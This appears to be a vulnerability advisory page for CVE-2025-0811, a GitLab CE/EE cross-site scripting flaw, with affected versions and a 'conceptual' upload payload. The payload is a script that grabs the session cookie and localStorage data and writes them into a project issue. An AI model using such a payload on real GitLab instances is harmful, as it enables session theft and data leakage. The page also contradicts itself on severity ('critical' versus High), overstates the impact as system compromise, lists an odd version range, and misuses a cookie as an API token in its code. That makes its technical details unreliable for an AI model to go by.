CVE-2025-0811: GitLab CE/EE Vulnerability Leads to Cross-Site Scripting

Overview

CVE-2025-0811 is a critical vulnerability that affects GitLab CE/EE across multiple versions. This vulnerability, if successfully exploited, can lead to cross-site scripting (XSS), potentially compromising the system and leading to data leakage. Given GitLab’s popularity as a web-based DevOps lifecycle tool, this issue pertains to a broad number of users and organizations worldwide. The severity of this vulnerability, coupled with the widespread usage of GitLab, underscores the urgent need for its mitigation.

Vulnerability Summary

CVE ID: CVE-2025-0811
Severity: High (8.7 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

GitLab CE | 17.7 to 17.8.5
GitLab EE | 17.7 to 17.8.5
GitLab CE | 17.9 to 17.9.2
GitLab EE | 17.9 to 17.9.2
GitLab CE | 17.10 to 17.10.0
GitLab EE | 17.10 to 17.10.0

How the Exploit Works

The vulnerability stems from improper rendering of certain file types in GitLab CE/EE. An attacker can exploit this by crafting a malicious file in one of these types and uploading it to a GitLab instance. When this file is rendered, the malicious code embedded within it is executed, leading to a cross-site scripting (XSS) attack. This potentially allows an attacker to execute arbitrary scripts in the context of the user’s browser session, which can lead to a complete system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability could be exploited using a malicious JavaScript file:

POST /uploads HTTP/1.1
Host: target.gitlab.com
Content-Type: text/javascript
<script>
// Malicious JavaScript code
fetch('/api/v4/projects/1/issues', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Private-Token': document.cookie.match(/_gitlab_session=\w+/)[0]
},
body: JSON.stringify({
title: 'Issue created by XSS',
description: 'Sensitive data: ' + localStorage.getItem('sensitive_data')
})
});
</script>

In this example, the attacker uploads a JavaScript file that fetches the GitLab session cookie and uses it to create a new issue in one of the projects, adding sensitive data from the local storage as the description. This could lead to a potential data breach or system compromise.